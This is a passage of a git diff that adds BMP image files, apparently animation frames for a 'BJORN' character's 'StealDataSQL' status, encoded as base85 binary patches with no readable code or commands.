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 MMk$pkXDX`y1>|%o=Kufz literal 0 HcmV?d00001 diff --git a/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp b/resources/default_config/characters/BJORN/status/StealDataSQL/StealDataSQL9.bmp new file mode 100644 index 0000000000000000000000000000000000000000..13eaf41032aae5998046ee299b9ec66bc2182c67 GIT binary patch literal 18462 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 